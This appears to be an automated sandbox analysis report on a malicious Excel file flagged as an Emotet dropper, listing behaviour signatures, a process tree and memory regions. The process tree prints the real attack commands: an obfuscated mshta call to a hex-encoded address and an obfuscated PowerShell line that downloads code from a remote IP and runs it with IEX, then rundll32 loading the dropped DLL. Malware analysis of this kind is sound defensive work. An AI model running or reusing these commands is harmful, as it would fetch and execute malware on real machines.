Analysis

  • max time kernel
    120s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    17/01/2022, 23:29

General

  • Target
    e1a7abda10e6b4c549c8869a00393488.xls
  • Size 128KB
  • Sample220117-3gj3aaecgr
  • SHA256 5ae8846c8c7b641f282ee57e2c7e43ecbb26ef440b76a0fc3d4134df1c6e4867
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/cc.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/PP91.PNG

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\e1a7abda10e6b4c549c8869a00393488.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1776
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1384
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:588
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1944
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:956
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1784
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1760
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Khixwclyklknag\kklgl.kja",EToKsQRGRjrcB
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1728
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Khixwclyklknag\kklgl.kja",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1348

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1348-101-0x00000000023B1000-0x00000000023D3000-memory.dmp

        memory/1348-95-0x0000000000251000-0x0000000000273000-memory.dmp

        memory/1348-97-0x00000000008D1000-0x00000000008F3000-memory.dmp

        memory/1348-99-0x0000000001F21000-0x0000000001F43000-memory.dmp

        memory/1348-103-0x0000000002461000-0x0000000002483000-memory.dmp

        memory/1348-104-0x0000000002B81000-0x0000000002BA3000-memory.dmp

        memory/1728-91-0x00000000001A1000-0x00000000001C3000-memory.dmp

        memory/1760-87-0x0000000002591000-0x00000000025B3000-memory.dmp

        memory/1760-79-0x00000000008A1000-0x00000000008C3000-memory.dmp

        memory/1760-81-0x0000000000951000-0x0000000000973000-memory.dmp

        memory/1760-83-0x0000000001EB1000-0x0000000001ED3000-memory.dmp

        memory/1760-85-0x0000000002161000-0x0000000002183000-memory.dmp

        memory/1760-77-0x00000000002C1000-0x00000000002E3000-memory.dmp

        memory/1776-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1776-53-0x000000002F151000-0x000000002F154000-memory.dmp

        memory/1776-106-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1776-54-0x0000000071B41000-0x0000000071B43000-memory.dmp

        memory/1784-70-0x0000000000233000-0x0000000000234000-memory.dmp

        memory/1784-69-0x0000000000211000-0x0000000000233000-memory.dmp

        memory/1944-59-0x0000000076C61000-0x0000000076C63000-memory.dmp

        memory/1944-60-0x00000000025A0000-0x00000000031EA000-memory.dmp